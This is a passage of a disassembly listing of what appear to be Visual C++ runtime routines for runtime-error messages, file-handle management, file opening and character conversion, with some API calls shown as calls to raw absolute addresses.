loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C98C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C98C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2610818h
		push	eax
		nop
		call	near ptr 26E0000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC600


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC700
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC700, 20h
		lea	ecx, ds:4DC600h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC700
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2F4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		call	near ptr 2600CB7h
		nop


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC700
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2F4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2600CB7h


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC600[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 26006D4h
		nop
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2670E77h
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB2AC, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5E0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5E0, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB5C8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5E0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB5C8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43CA18


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB5C8
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC98
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43CA28


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC600[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA88
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2E8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB490
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB5A0, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB2A8, 16h
		mov	dword_4DB2AC, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB2B0
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0922h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	near ptr 2610000h
		nop
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 265098Ch


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2670E77h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB2AC, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB498
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 25F053Bh
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE5C
		push	esi
		push	ebx
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB498, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB364


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2600000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB374
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2820000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2820000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 25F053Bh
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB364, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C534
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB374
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB364, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C328
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C534
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB374
		call	near ptr 2820000h
		nop
		test	eax, eax
		mov	eax, dword_43C534
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
